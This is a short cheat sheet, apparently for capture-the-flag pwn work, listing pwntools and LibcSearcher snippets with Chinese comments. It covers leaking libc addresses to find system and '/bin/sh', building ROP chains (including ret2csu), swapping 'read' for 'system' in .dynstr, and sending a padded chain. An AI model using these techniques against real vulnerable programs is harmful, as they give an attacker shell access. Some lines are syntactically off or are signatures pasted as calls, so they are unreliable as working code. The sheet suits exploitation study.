B = S.encode('utf-8')	#可忽略参数

S = B.decode('utf-8')

B = bytes(S,'utf-8')	#不可忽略参数

dynstr = dynstr.replace("read","system")

context(log_level='debug')		#python 调试

gdb.attach(p, 'b *0x080323')	#gdb 动态调试

libc=ELF(./libc.so.6)

binsh = libcbase + next(libc.search(b'/bin/sh'))

dynstr = elf.get_section_by_name('.dynstr').data()

from LibcSearcher import LibcSearcher

#获取__libc_start_main 的真实地址储存至 lsm_a

libc = LibcSearcher('__libc_start_main',lsm_a)	#参数 1 为字符串，函数名，参数 2 为地址

libcbase = lsm_a - libc.dump('__libc_start_main')

sys_a = libcbase + libc.dump('system')

bs_a = libcbase + libc.dump('str_bin_sh')

rop=ROP('./pwn',base=0x400000,badchars=b'\n')	#一般只需第一个参数

rop.chain(base: int=None)						#返回 bytes 数据

rop.call(resolvable, arguments: list=())		#加入某函数调用

rop.raw(value)									#直接填充一个值

rop.dump(base: int=None)						#用好看的方式打印构造后

rop.migrate(next_base)

rop.resolve(resolvable)

rop.ret2csu(self, edi=Padding(‘edi’), rsi=Padding(‘rsi’), rdx=Padding(‘rdx’), rbx=Padding(‘rbx’), rbp=Padding(‘rbp’), r12=Padding(‘r12’), r13=Padding(‘r13’), r14=Padding(‘r14’), r15=Padding(‘r15’), call=None)

rop = ROP("./main_no_relro_64")

rop.call('read', 0, bss_base, 100)

rop.raw(csu(0, 1 ,elf.got['read'],0,0x600988+8,8))

rop.raw(0x0000000000400771)

print(len(rop.chain()))

rop.raw('a'*(stack_size-len(rop.chain())))

io.send(rop.chain())